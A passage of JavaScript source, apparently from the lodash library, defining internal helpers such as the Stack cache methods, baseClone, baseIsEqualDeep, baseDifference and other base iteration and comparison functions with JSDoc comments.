     * Removes all key-value entries from the stack.
     *
     * @private
     * @name clear
     * @memberOf Stack
     */
    function stackClear() {
      this.__data__ = new ListCache;
      this.size = 0;
    }

    /**
     * Removes `key` and its value from the stack.
     *
     * @private
     * @name delete
     * @memberOf Stack
     * @param {string} key The key of the value to remove.
     * @returns {boolean} Returns `true` if the entry was removed, else `false`.
     */
    function stackDelete(key) {
      var data = this.__data__,
          result = data['delete'](key);

      this.size = data.size;
      return result;
    }

    /**
     * Gets the stack value for `key`.
     *
     * @private
     * @name get
     * @memberOf Stack
     * @param {string} key The key of the value to get.
     * @returns {*} Returns the entry value.
     */
    function stackGet(key) {
      return this.__data__.get(key);
    }

    /**
     * Checks if a stack value for `key` exists.
     *
     * @private
     * @name has
     * @memberOf Stack
     * @param {string} key The key of the entry to check.
     * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
     */
    function stackHas(key) {
      return this.__data__.has(key);
    }

    /**
     * Sets the stack `key` to `value`.
     *
     * @private
     * @name set
     * @memberOf Stack
     * @param {string} key The key of the value to set.
     * @param {*} value The value to set.
     * @returns {Object} Returns the stack cache instance.
     */
    function stackSet(key, value) {
      var data = this.__data__;
      if (data instanceof ListCache) {
        var pairs = data.__data__;
        if (!Map || (pairs.length < LARGE_ARRAY_SIZE - 1)) {
          pairs.push([key, value]);
          this.size = ++data.size;
          return this;
        }
        data = this.__data__ = new MapCache(pairs);
      }
      data.set(key, value);
      this.size = data.size;
      return this;
    }

    // Add methods to `Stack`.
    Stack.prototype.clear = stackClear;
    Stack.prototype['delete'] = stackDelete;
    Stack.prototype.get = stackGet;
    Stack.prototype.has = stackHas;
    Stack.prototype.set = stackSet;

    /*------------------------------------------------------------------------*/

    /**
     * Creates an array of the enumerable property names of the array-like `value`.
     *
     * @private
     * @param {*} value The value to query.
     * @param {boolean} inherited Specify returning inherited property names.
     * @returns {Array} Returns the array of property names.
     */
    function arrayLikeKeys(value, inherited) {
      var isArr = isArray(value),
          isArg = !isArr && isArguments(value),
          isBuff = !isArr && !isArg && isBuffer(value),
          isType = !isArr && !isArg && !isBuff && isTypedArray(value),
          skipIndexes = isArr || isArg || isBuff || isType,
          result = skipIndexes ? baseTimes(value.length, String) : [],
          length = result.length;

      for (var key in value) {
        if ((inherited || hasOwnProperty.call(value, key)) &&
            !(skipIndexes && (
               // Safari 9 has enumerable `arguments.length` in strict mode.
               key == 'length' ||
               // Node.js 0.10 has enumerable non-index properties on buffers.
               (isBuff && (key == 'offset' || key == 'parent')) ||
               // PhantomJS 2 has enumerable non-index properties on typed arrays.
               (isType && (key == 'buffer' || key == 'byteLength' || key == 'byteOffset')) ||
               // Skip index properties.
               isIndex(key, length)
            ))) {
          result.push(key);
        }
      }
      return result;
    }

    /**
     * A specialized version of `_.sample` for arrays.
     *
     * @private
     * @param {Array} array The array to sample.
     * @returns {*} Returns the random element.
     */
    function arraySample(array) {
      var length = array.length;
      return length ? array[baseRandom(0, length - 1)] : undefined;
    }

    /**
     * A specialized version of `_.sampleSize` for arrays.
     *
     * @private
     * @param {Array} array The array to sample.
     * @param {number} n The number of elements to sample.
     * @returns {Array} Returns the random elements.
     */
    function arraySampleSize(array, n) {
      return shuffleSelf(copyArray(array), baseClamp(n, 0, array.length));
    }

    /**
     * A specialized version of `_.shuffle` for arrays.
     *
     * @private
     * @param {Array} array The array to shuffle.
     * @returns {Array} Returns the new shuffled array.
     */
    function arrayShuffle(array) {
      return shuffleSelf(copyArray(array));
    }

    /**
     * This function is like `assignValue` except that it doesn't assign
     * `undefined` values.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {string} key The key of the property to assign.
     * @param {*} value The value to assign.
     */
    function assignMergeValue(object, key, value) {
      if ((value !== undefined && !eq(object[key], value)) ||
          (value === undefined && !(key in object))) {
        baseAssignValue(object, key, value);
      }
    }

    /**
     * Assigns `value` to `key` of `object` if the existing value is not equivalent
     * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {string} key The key of the property to assign.
     * @param {*} value The value to assign.
     */
    function assignValue(object, key, value) {
      var objValue = object[key];
      if (!(hasOwnProperty.call(object, key) && eq(objValue, value)) ||
          (value === undefined && !(key in object))) {
        baseAssignValue(object, key, value);
      }
    }

    /**
     * Gets the index at which the `key` is found in `array` of key-value pairs.
     *
     * @private
     * @param {Array} array The array to inspect.
     * @param {*} key The key to search for.
     * @returns {number} Returns the index of the matched value, else `-1`.
     */
    function assocIndexOf(array, key) {
      var length = array.length;
      while (length--) {
        if (eq(array[length][0], key)) {
          return length;
        }
      }
      return -1;
    }

    /**
     * Aggregates elements of `collection` on `accumulator` with keys transformed
     * by `iteratee` and values set by `setter`.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} setter The function to set `accumulator` values.
     * @param {Function} iteratee The iteratee to transform keys.
     * @param {Object} accumulator The initial aggregated object.
     * @returns {Function} Returns `accumulator`.
     */
    function baseAggregator(collection, setter, iteratee, accumulator) {
      baseEach(collection, function(value, key, collection) {
        setter(accumulator, value, iteratee(value), collection);
      });
      return accumulator;
    }

    /**
     * The base implementation of `_.assign` without support for multiple sources
     * or `customizer` functions.
     *
     * @private
     * @param {Object} object The destination object.
     * @param {Object} source The source object.
     * @returns {Object} Returns `object`.
     */
    function baseAssign(object, source) {
      return object && copyObject(source, keys(source), object);
    }

    /**
     * The base implementation of `_.assignIn` without support for multiple sources
     * or `customizer` functions.
     *
     * @private
     * @param {Object} object The destination object.
     * @param {Object} source The source object.
     * @returns {Object} Returns `object`.
     */
    function baseAssignIn(object, source) {
      return object && copyObject(source, keysIn(source), object);
    }

    /**
     * The base implementation of `assignValue` and `assignMergeValue` without
     * value checks.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {string} key The key of the property to assign.
     * @param {*} value The value to assign.
     */
    function baseAssignValue(object, key, value) {
      if (key == '__proto__' && defineProperty) {
        defineProperty(object, key, {
          'configurable': true,
          'enumerable': true,
          'value': value,
          'writable': true
        });
      } else {
        object[key] = value;
      }
    }

    /**
     * The base implementation of `_.at` without support for individual paths.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {string[]} paths The property paths to pick.
     * @returns {Array} Returns the picked elements.
     */
    function baseAt(object, paths) {
      var index = -1,
          length = paths.length,
          result = Array(length),
          skip = object == null;

      while (++index < length) {
        result[index] = skip ? undefined : get(object, paths[index]);
      }
      return result;
    }

    /**
     * The base implementation of `_.clamp` which doesn't coerce arguments.
     *
     * @private
     * @param {number} number The number to clamp.
     * @param {number} [lower] The lower bound.
     * @param {number} upper The upper bound.
     * @returns {number} Returns the clamped number.
     */
    function baseClamp(number, lower, upper) {
      if (number === number) {
        if (upper !== undefined) {
          number = number <= upper ? number : upper;
        }
        if (lower !== undefined) {
          number = number >= lower ? number : lower;
        }
      }
      return number;
    }

    /**
     * The base implementation of `_.clone` and `_.cloneDeep` which tracks
     * traversed objects.
     *
     * @private
     * @param {*} value The value to clone.
     * @param {boolean} bitmask The bitmask flags.
     *  1 - Deep clone
     *  2 - Flatten inherited properties
     *  4 - Clone symbols
     * @param {Function} [customizer] The function to customize cloning.
     * @param {string} [key] The key of `value`.
     * @param {Object} [object] The parent object of `value`.
     * @param {Object} [stack] Tracks traversed objects and their clone counterparts.
     * @returns {*} Returns the cloned value.
     */
    function baseClone(value, bitmask, customizer, key, object, stack) {
      var result,
          isDeep = bitmask & CLONE_DEEP_FLAG,
          isFlat = bitmask & CLONE_FLAT_FLAG,
          isFull = bitmask & CLONE_SYMBOLS_FLAG;

      if (customizer) {
        result = object ? customizer(value, key, object, stack) : customizer(value);
      }
      if (result !== undefined) {
        return result;
      }
      if (!isObject(value)) {
        return value;
      }
      var isArr = isArray(value);
      if (isArr) {
        result = initCloneArray(value);
        if (!isDeep) {
          return copyArray(value, result);
        }
      } else {
        var tag = getTag(value),
            isFunc = tag == funcTag || tag == genTag;

        if (isBuffer(value)) {
          return cloneBuffer(value, isDeep);
        }
        if (tag == objectTag || tag == argsTag || (isFunc && !object)) {
          result = (isFlat || isFunc) ? {} : initCloneObject(value);
          if (!isDeep) {
            return isFlat
              ? copySymbolsIn(value, baseAssignIn(result, value))
              : copySymbols(value, baseAssign(result, value));
          }
        } else {
          if (!cloneableTags[tag]) {
            return object ? value : {};
          }
          result = initCloneByTag(value, tag, isDeep);
        }
      }
      // Check for circular references and return its corresponding clone.
      stack || (stack = new Stack);
      var stacked = stack.get(value);
      if (stacked) {
        return stacked;
      }
      stack.set(value, result);

      if (isSet(value)) {
        value.forEach(function(subValue) {
          result.add(baseClone(subValue, bitmask, customizer, subValue, value, stack));
        });
      } else if (isMap(value)) {
        value.forEach(function(subValue, key) {
          result.set(key, baseClone(subValue, bitmask, customizer, key, value, stack));
        });
      }

      var keysFunc = isFull
        ? (isFlat ? getAllKeysIn : getAllKeys)
        : (isFlat ? keysIn : keys);

      var props = isArr ? undefined : keysFunc(value);
      arrayEach(props || value, function(subValue, key) {
        if (props) {
          key = subValue;
          subValue = value[key];
        }
        // Recursively populate clone (susceptible to call stack limits).
        assignValue(result, key, baseClone(subValue, bitmask, customizer, key, value, stack));
      });
      return result;
    }

    /**
     * The base implementation of `_.conforms` which doesn't clone `source`.
     *
     * @private
     * @param {Object} source The object of property predicates to conform to.
     * @returns {Function} Returns the new spec function.
     */
    function baseConforms(source) {
      var props = keys(source);
      return function(object) {
        return baseConformsTo(object, source, props);
      };
    }

    /**
     * The base implementation of `_.conformsTo` which accepts `props` to check.
     *
     * @private
     * @param {Object} object The object to inspect.
     * @param {Object} source The object of property predicates to conform to.
     * @returns {boolean} Returns `true` if `object` conforms, else `false`.
     */
    function baseConformsTo(object, source, props) {
      var length = props.length;
      if (object == null) {
        return !length;
      }
      object = Object(object);
      while (length--) {
        var key = props[length],
            predicate = source[key],
            value = object[key];

        if ((value === undefined && !(key in object)) || !predicate(value)) {
          return false;
        }
      }
      return true;
    }

    /**
     * The base implementation of `_.delay` and `_.defer` which accepts `args`
     * to provide to `func`.
     *
     * @private
     * @param {Function} func The function to delay.
     * @param {number} wait The number of milliseconds to delay invocation.
     * @param {Array} args The arguments to provide to `func`.
     * @returns {number|Object} Returns the timer id or timeout object.
     */
    function baseDelay(func, wait, args) {
      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      return setTimeout(function() { func.apply(undefined, args); }, wait);
    }

    /**
     * The base implementation of methods like `_.difference` without support
     * for excluding multiple arrays or iteratee shorthands.
     *
     * @private
     * @param {Array} array The array to inspect.
     * @param {Array} values The values to exclude.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of filtered values.
     */
    function baseDifference(array, values, iteratee, comparator) {
      var index = -1,
          includes = arrayIncludes,
          isCommon = true,
          length = array.length,
          result = [],
          valuesLength = values.length;

      if (!length) {
        return result;
      }
      if (iteratee) {
        values = arrayMap(values, baseUnary(iteratee));
      }
      if (comparator) {
        includes = arrayIncludesWith;
        isCommon = false;
      }
      else if (values.length >= LARGE_ARRAY_SIZE) {
        includes = cacheHas;
        isCommon = false;
        values = new SetCache(values);
      }
      outer:
      while (++index < length) {
        var value = array[index],
            computed = iteratee == null ? value : iteratee(value);

        value = (comparator || value !== 0) ? value : 0;
        if (isCommon && computed === computed) {
          var valuesIndex = valuesLength;
          while (valuesIndex--) {
            if (values[valuesIndex] === computed) {
              continue outer;
            }
          }
          result.push(value);
        }
        else if (!includes(values, computed, comparator)) {
          result.push(value);
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.forEach` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @returns {Array|Object} Returns `collection`.
     */
    var baseEach = createBaseEach(baseForOwn);

    /**
     * The base implementation of `_.forEachRight` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @returns {Array|Object} Returns `collection`.
     */
    var baseEachRight = createBaseEach(baseForOwnRight, true);

    /**
     * The base implementation of `_.every` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} predicate The function invoked per iteration.
     * @returns {boolean} Returns `true` if all elements pass the predicate check,
     *  else `false`
     */
    function baseEvery(collection, predicate) {
      var result = true;
      baseEach(collection, function(value, index, collection) {
        result = !!predicate(value, index, collection);
        return result;
      });
      return result;
    }

    /**
     * The base implementation of methods like `_.max` and `_.min` which accepts a
     * `comparator` to determine the extremum value.
     *
     * @private
     * @param {Array} array The array to iterate over.
     * @param {Function} iteratee The iteratee invoked per iteration.
     * @param {Function} comparator The comparator used to compare values.
     * @returns {*} Returns the extremum value.
     */
    function baseExtremum(array, iteratee, comparator) {
      var index = -1,
          length = array.length;

      while (++index < length) {
        var value = array[index],
            current = iteratee(value);

        if (current != null && (computed === undefined
              ? (current === current && !isSymbol(current))
              : comparator(current, computed)
            )) {
          var computed = current,
              result = value;
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.fill` without an iteratee call guard.
     *
     * @private
     * @param {Array} array The array to fill.
     * @param {*} value The value to fill `array` with.
     * @param {number} [start=0] The start position.
     * @param {number} [end=array.length] The end position.
     * @returns {Array} Returns `array`.
     */
    function baseFill(array, value, start, end) {
      var length = array.length;

      start = toInteger(start);
      if (start < 0) {
        start = -start > length ? 0 : (length + start);
      }
      end = (end === undefined || end > length) ? length : toInteger(end);
      if (end < 0) {
        end += length;
      }
      end = start > end ? 0 : toLength(end);
      while (start < end) {
        array[start++] = value;
      }
      return array;
    }

    /**
     * The base implementation of `_.filter` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} predicate The function invoked per iteration.
     * @returns {Array} Returns the new filtered array.
     */
    function baseFilter(collection, predicate) {
      var result = [];
      baseEach(collection, function(value, index, collection) {
        if (predicate(value, index, collection)) {
          result.push(value);
        }
      });
      return result;
    }

    /**
     * The base implementation of `_.flatten` with support for restricting flattening.
     *
     * @private
     * @param {Array} array The array to flatten.
     * @param {number} depth The maximum recursion depth.
     * @param {boolean} [predicate=isFlattenable] The function invoked per iteration.
     * @param {boolean} [isStrict] Restrict to values that pass `predicate` checks.
     * @param {Array} [result=[]] The initial result value.
     * @returns {Array} Returns the new flattened array.
     */
    function baseFlatten(array, depth, predicate, isStrict, result) {
      var index = -1,
          length = array.length;

      predicate || (predicate = isFlattenable);
      result || (result = []);

      while (++index < length) {
        var value = array[index];
        if (depth > 0 && predicate(value)) {
          if (depth > 1) {
            // Recursively flatten arrays (susceptible to call stack limits).
            baseFlatten(value, depth - 1, predicate, isStrict, result);
          } else {
            arrayPush(result, value);
          }
        } else if (!isStrict) {
          result[result.length] = value;
        }
      }
      return result;
    }

    /**
     * The base implementation of `baseForOwn` which iterates over `object`
     * properties returned by `keysFunc` and invokes `iteratee` for each property.
     * Iteratee functions may exit iteration early by explicitly returning `false`.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @param {Function} keysFunc The function to get the keys of `object`.
     * @returns {Object} Returns `object`.
     */
    var baseFor = createBaseFor();

    /**
     * This function is like `baseFor` except that it iterates over properties
     * in the opposite order.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @param {Function} keysFunc The function to get the keys of `object`.
     * @returns {Object} Returns `object`.
     */
    var baseForRight = createBaseFor(true);

    /**
     * The base implementation of `_.forOwn` without support for iteratee shorthands.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @returns {Object} Returns `object`.
     */
    function baseForOwn(object, iteratee) {
      return object && baseFor(object, iteratee, keys);
    }

    /**
     * The base implementation of `_.forOwnRight` without support for iteratee shorthands.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @returns {Object} Returns `object`.
     */
    function baseForOwnRight(object, iteratee) {
      return object && baseForRight(object, iteratee, keys);
    }

    /**
     * The base implementation of `_.functions` which creates an array of
     * `object` function property names filtered from `props`.
     *
     * @private
     * @param {Object} object The object to inspect.
     * @param {Array} props The property names to filter.
     * @returns {Array} Returns the function names.
     */
    function baseFunctions(object, props) {
      return arrayFilter(props, function(key) {
        return isFunction(object[key]);
      });
    }

    /**
     * The base implementation of `_.get` without support for default values.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {Array|string} path The path of the property to get.
     * @returns {*} Returns the resolved value.
     */
    function baseGet(object, path) {
      path = castPath(path, object);

      var index = 0,
          length = path.length;

      while (object != null && index < length) {
        object = object[toKey(path[index++])];
      }
      return (index && index == length) ? object : undefined;
    }

    /**
     * The base implementation of `getAllKeys` and `getAllKeysIn` which uses
     * `keysFunc` and `symbolsFunc` to get the enumerable property names and
     * symbols of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {Function} keysFunc The function to get the keys of `object`.
     * @param {Function} symbolsFunc The function to get the symbols of `object`.
     * @returns {Array} Returns the array of property names and symbols.
     */
    function baseGetAllKeys(object, keysFunc, symbolsFunc) {
      var result = keysFunc(object);
      return isArray(object) ? result : arrayPush(result, symbolsFunc(object));
    }

    /**
     * The base implementation of `getTag` without fallbacks for buggy environments.
     *
     * @private
     * @param {*} value The value to query.
     * @returns {string} Returns the `toStringTag`.
     */
    function baseGetTag(value) {
      if (value == null) {
        return value === undefined ? undefinedTag : nullTag;
      }
      return (symToStringTag && symToStringTag in Object(value))
        ? getRawTag(value)
        : objectToString(value);
    }

    /**
     * The base implementation of `_.gt` which doesn't coerce arguments.
     *
     * @private
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is greater than `other`,
     *  else `false`.
     */
    function baseGt(value, other) {
      return value > other;
    }

    /**
     * The base implementation of `_.has` without support for deep paths.
     *
     * @private
     * @param {Object} [object] The object to query.
     * @param {Array|string} key The key to check.
     * @returns {boolean} Returns `true` if `key` exists, else `false`.
     */
    function baseHas(object, key) {
      return object != null && hasOwnProperty.call(object, key);
    }

    /**
     * The base implementation of `_.hasIn` without support for deep paths.
     *
     * @private
     * @param {Object} [object] The object to query.
     * @param {Array|string} key The key to check.
     * @returns {boolean} Returns `true` if `key` exists, else `false`.
     */
    function baseHasIn(object, key) {
      return object != null && key in Object(object);
    }

    /**
     * The base implementation of `_.inRange` which doesn't coerce arguments.
     *
     * @private
     * @param {number} number The number to check.
     * @param {number} start The start of the range.
     * @param {number} end The end of the range.
     * @returns {boolean} Returns `true` if `number` is in the range, else `false`.
     */
    function baseInRange(number, start, end) {
      return number >= nativeMin(start, end) && number < nativeMax(start, end);
    }

    /**
     * The base implementation of methods like `_.intersection`, without support
     * for iteratee shorthands, that accepts an array of arrays to inspect.
     *
     * @private
     * @param {Array} arrays The arrays to inspect.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of shared values.
     */
    function baseIntersection(arrays, iteratee, comparator) {
      var includes = comparator ? arrayIncludesWith : arrayIncludes,
          length = arrays[0].length,
          othLength = arrays.length,
          othIndex = othLength,
          caches = Array(othLength),
          maxLength = Infinity,
          result = [];

      while (othIndex--) {
        var array = arrays[othIndex];
        if (othIndex && iteratee) {
          array = arrayMap(array, baseUnary(iteratee));
        }
        maxLength = nativeMin(array.length, maxLength);
        caches[othIndex] = !comparator && (iteratee || (length >= 120 && array.length >= 120))
          ? new SetCache(othIndex && array)
          : undefined;
      }
      array = arrays[0];

      var index = -1,
          seen = caches[0];

      outer:
      while (++index < length && result.length < maxLength) {
        var value = array[index],
            computed = iteratee ? iteratee(value) : value;

        value = (comparator || value !== 0) ? value : 0;
        if (!(seen
              ? cacheHas(seen, computed)
              : includes(result, computed, comparator)
            )) {
          othIndex = othLength;
          while (--othIndex) {
            var cache = caches[othIndex];
            if (!(cache
                  ? cacheHas(cache, computed)
                  : includes(arrays[othIndex], computed, comparator))
                ) {
              continue outer;
            }
          }
          if (seen) {
            seen.push(computed);
          }
          result.push(value);
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.invert` and `_.invertBy` which inverts
     * `object` with values transformed by `iteratee` and set by `setter`.
     *
     * @private
     * @param {Object} object The object to iterate over.
     * @param {Function} setter The function to set `accumulator` values.
     * @param {Function} iteratee The iteratee to transform values.
     * @param {Object} accumulator The initial inverted object.
     * @returns {Function} Returns `accumulator`.
     */
    function baseInverter(object, setter, iteratee, accumulator) {
      baseForOwn(object, function(value, key, object) {
        setter(accumulator, iteratee(value), key, object);
      });
      return accumulator;
    }

    /**
     * The base implementation of `_.invoke` without support for individual
     * method arguments.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {Array|string} path The path of the method to invoke.
     * @param {Array} args The arguments to invoke the method with.
     * @returns {*} Returns the result of the invoked method.
     */
    function baseInvoke(object, path, args) {
      path = castPath(path, object);
      object = parent(object, path);
      var func = object == null ? object : object[toKey(last(path))];
      return func == null ? undefined : apply(func, object, args);
    }

    /**
     * The base implementation of `_.isArguments`.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an `arguments` object,
     */
    function baseIsArguments(value) {
      return isObjectLike(value) && baseGetTag(value) == argsTag;
    }

    /**
     * The base implementation of `_.isArrayBuffer` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an array buffer, else `false`.
     */
    function baseIsArrayBuffer(value) {
      return isObjectLike(value) && baseGetTag(value) == arrayBufferTag;
    }

    /**
     * The base implementation of `_.isDate` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a date object, else `false`.
     */
    function baseIsDate(value) {
      return isObjectLike(value) && baseGetTag(value) == dateTag;
    }

    /**
     * The base implementation of `_.isEqual` which supports partial comparisons
     * and tracks traversed objects.
     *
     * @private
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @param {boolean} bitmask The bitmask flags.
     *  1 - Unordered comparison
     *  2 - Partial comparison
     * @param {Function} [customizer] The function to customize comparisons.
     * @param {Object} [stack] Tracks traversed `value` and `other` objects.
     * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
     */
    function baseIsEqual(value, other, bitmask, customizer, stack) {
      if (value === other) {
        return true;
      }
      if (value == null || other == null || (!isObjectLike(value) && !isObjectLike(other))) {
        return value !== value && other !== other;
      }
      return baseIsEqualDeep(value, other, bitmask, customizer, baseIsEqual, stack);
    }

    /**
     * A specialized version of `baseIsEqual` for arrays and objects which performs
     * deep comparisons and tracks traversed objects enabling objects with circular
     * references to be compared.
     *
     * @private
     * @param {Object} object The object to compare.
     * @param {Object} other The other object to compare.
     * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
     * @param {Function} customizer The function to customize comparisons.
     * @param {Function} equalFunc The function to determine equivalents of values.
     * @param {Object} [stack] Tracks traversed `object` and `other` objects.
     * @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
     */
    function baseIsEqualDeep(object, other, bitmask, customizer, equalFunc, stack) {
      var objIsArr = isArray(object),
          othIsArr = isArray(other),
          objTag = objIsArr ? arrayTag : getTag(object),
          othTag = othIsArr ? arrayTag : getTag(other);

      objTag = objTag == argsTag ? objectTag : objTag;
      othTag = othTag == argsTag ? objectTag : othTag;

      var objIsObj = objTag == objectTag,
          othIsObj = othTag == objectTag,
          isSameTag = objTag == othTag;

      if (isSameTag && isBuffer(object)) {
        if (!isBuffer(other)) {
          return false;
        }
        objIsArr = true;
        objIsObj = false;
      }
      if (isSameTag && !objIsObj) {
        stack || (stack = new Stack);
        return (objIsArr || isTypedArray(object))
          ? equalArrays(object, other, bitmask, customizer, equalFunc, stack)
          : equalByTag(object, other, objTag, bitmask, customizer, equalFunc, stack);
      }
      if (!(bitmask & COMPARE_PARTIAL_FLAG)) {
        var objIsWrapped = objIsObj && hasOwnProperty.call(object, '__wrapped__'),
            othIsWrapped = othIsObj && hasOwnProperty.call(other, '__wrapped__');

        if (objIsWrapped || othIsWrapped) {
          var objUnwrapped = objIsWrapped ? object.value() : object,
              othUnwrapped = othIsWrapped ? other.value() : other;

          stack || (stack = new Stack);
          return equalFunc(objUnwrapped, othUnwrapped, bitmask, customizer, stack);
        }
      }
      if (!isSameTag) {
        return false;
      }
      stack || (stack = new Stack);
      return equalObjects(object, other, bitmask, customizer, equalFunc, stack);
    }

    /**
     * The base implementation of `_.isMap` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a map, else `false`.
     */
    function baseIsMap(value) {
      return isObjectLike(value) && getTag(value) == mapTag;
    }

    /**
     * The base implementation of `_.isMatch` without support for iteratee shorthands.
     *
     * @private
     * @param {Object} object The object to inspect.
     * @param {Object} source The object of property values to match.
     * @param {Array} matchData The property names, values, and compare flags to match.
     * @param {Function} [customizer] The function to customize comparisons.
     * @returns {boolean} Returns `true` if `object` is a match, else `false`.
     */
    function baseIsMatch(object, source, matchData, customizer) {
      var index = matchData.length,
          length = index,
          noCustomizer = !customizer;

      if (object == null) {
        return !length;
      }
      object = Object(object);
      while (index--) {
        var data = matchData[index];
        if ((noCustomizer && data[2])
              ? data[1] !== object[data[0]]
              : !(data[0] in object)
            ) {
          return false;
        }
      }
      while (++index < length) {
        data = matchData[index];
        var key = data[0],
            objValue = object[key],
            srcValue = data[1];

        if (noCustomizer && data[2]) {
          if (objValue === undefined && !(key in object)) {
            return false;
          }
        } else {
          var stack = new Stack;
          if (customizer) {
            var result = customizer(objValue, srcValue, key, object, source, stack);
          }
          if (!(result === undefined
                ? baseIsEqual(srcValue, objValue, COMPARE_PARTIAL_FLAG | COMPARE_UNORDERED_FLAG, customizer, stack)
                : result
              )) {
            return false;
          }
        }
      }
      return true;
    }

    /**
     * The base implementation of `_.isNative` without bad shim checks.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a native function,
     *  else `false`.
     */
    function baseIsNative(value) {
      if (!isObject(value) || isMasked(value)) {
        return false;
      }
      var pattern = isFunction(value) ? reIsNative : reIsHostCtor;
      return pattern.test(toSource(value));
    }

    /**
     * The base implementation of `_.isRegExp` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a regexp, else `false`.
     */
    function baseIsRegExp(value) {
      return isObjectLike(value) && baseGetTag(value) == regexpTag;
    }

    /**
     * The base implementation of `_.isSet` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a set, else `false`.
     */
    function baseIsSet(value) {
      return isObjectLike(value) && getTag(value) == setTag;
    }

    /**
     * The base implementation of `_.isTypedArray` without Node.js optimizations.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a typed array, else `false`.
     */
    function baseIsTypedArray(value) {
      return isObjectLike(value) &&
        isLength(value.length) && !!typedArrayTags[baseGetTag(value)];
    }

    /**
     * The base implementation of `_.iteratee`.
     *
     * @private
     * @param {*} [value=_.identity] The value to convert to an iteratee.
     * @returns {Function} Returns the iteratee.
     */
    function baseIteratee(value) {
      // Don't store the `typeof` result in a variable to avoid a JIT bug in Safari 9.
      // See https://bugs.webkit.org/show_bug.cgi?id=156034 for more details.
      if (typeof value == 'function') {
        return value;
      }
      if (value == null) {
        return identity;
      }
      if (typeof value == 'object') {
        return isArray(value)
          ? baseMatchesProperty(value[0], value[1])
          : baseMatches(value);
      }
      return property(value);
    }

    /**
     * The base implementation of `_.keys` which doesn't treat sparse arrays as dense.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names.
     */
    function baseKeys(object) {
      if (!isPrototype(object)) {
        return nativeKeys(object);
      }
      var result = [];
      for (var key in Object(object)) {
        if (hasOwnProperty.call(object, key) && key != 'constructor') {
          result.push(key);
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.keysIn` which doesn't treat sparse arrays as dense.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names.
     */
    function baseKeysIn(object) {
      if (!isObject(object)) {
        return nativeKeysIn(object);
      }
      var isProto = isPrototype(object),
          result = [];

      for (var key in object) {
        if (!(key == 'constructor' && (isProto || !hasOwnProperty.call(object, key)))) {
          result.push(key);
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.lt` which doesn't coerce arguments.
     *
     * @private
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is less than `other`,
     *  else `false`.
     */
    function baseLt(value, other) {
      return value < other;
    }

    /**
     * The base implementation of `_.map` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} iteratee The function invoked per iteration.
     * @returns {Array} Returns the new mapped array.
     */
    function baseMap(collection, iteratee) {
      var index = -1,
          result = isArrayLike(collection) ? Array(collection.length) : [];

      baseEach(collection, function(value, key, collection) {
        result[++index] = iteratee(value, key, collection);
      });
      return result;
    }

    /**
     * The base implementation of `_.matches` which doesn't clone `source`.
     *
     * @private
     * @param {Object} source The object of property values to match.
     * @returns {Function} Returns the new spec function.
     */
    function baseMatches(source) {
      var matchData = getMatchData(source);
      if (matchData.length == 1 && matchData[0][2]) {
        return matchesStrictComparable(matchData[0][0], matchData[0][1]);
      }
      return function(object) {
        return object === source || baseIsMatch(object, source, matchData);
      };
    }

    /**
     * The base implementation of `_.matchesProperty` which doesn't clone `srcValue`.
     *
     * @private
     * @param {string} path The path of the property to get.
